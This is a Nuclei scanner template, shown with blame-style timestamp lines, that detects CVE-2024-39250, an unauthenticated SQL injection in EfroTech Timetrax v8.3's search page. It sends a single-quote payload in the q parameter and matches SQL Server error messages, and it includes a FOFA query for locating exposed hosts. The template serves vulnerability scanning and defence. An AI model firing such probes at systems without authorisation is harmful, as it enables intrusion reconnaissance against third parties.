2024-07-23 23:18:42 +00:00
|
|
|
id: CVE-2024-39250
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: EfroTech Timetrax v8.3 - Sql Injection
|
|
|
|
|
author: securityforeveryone,efran
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
|
|
|
|
EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.
|
|
|
|
|
reference:
|
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-39250
|
|
|
|
|
- https://www.tenable.com/cve/CVE-2024-39250
|
|
|
|
|
- https://github.com/efrann/CVE-2024-39250
|
|
|
|
|
- https://vuldb.com/?id.272268
|
|
|
|
|
classification:
|
|
|
|
|
epss-score: 0.00043
|
|
|
|
|
epss-percentile: 0.09359
|
|
|
|
|
metadata:
|
2024-07-24 09:24:25 +00:00
|
|
|
vendor: efroTech
|
|
|
|
|
product: timetrax
|
2024-07-23 23:18:42 +00:00
|
|
|
fofa-query: icon_hash="-661694518"
|
|
|
|
|
tags: cve,cve2024,sqli,timetrax
|
2024-07-24 09:24:25 +00:00
|
|
|
|
2024-07-23 23:18:42 +00:00
|
|
|
flow: http(1) && http(2)
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
GET /Login.aspx HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
|
|
|
|
- 'contains(body,"TimeTrax - Cloud HR Software")'
|
|
|
|
|
- 'contains(content_type, "text/html")'
|
|
|
|
|
- 'status_code == 200'
|
|
|
|
|
condition: and
|
|
|
|
|
internal: true
|
|
|
|
|
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
GET /search.aspx?q=' HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
|
|
|
|
- 'contains_all(body,"Incorrect syntax near","Unclosed quotation mark after the character string")'
|
|
|
|
|
- 'contains(content_type, "text/html")'
|
|
|
|
|
- 'status_code == 500'
|
|
|
|
|
condition: and
|
2024-07-25 12:56:56 +00:00
|
|
|
# digest: 4a0a00473045022066aa1139efa896b1ff2d92fa0b8320c4449e8b7b3f74ea7a954e30825c32a568022100cf323de98b87fd1b4aa2a2c8579328f248d5f45980d3ecd7348d1ff9beac66d5:922c64590222798bb761d5b6d8e72950
|
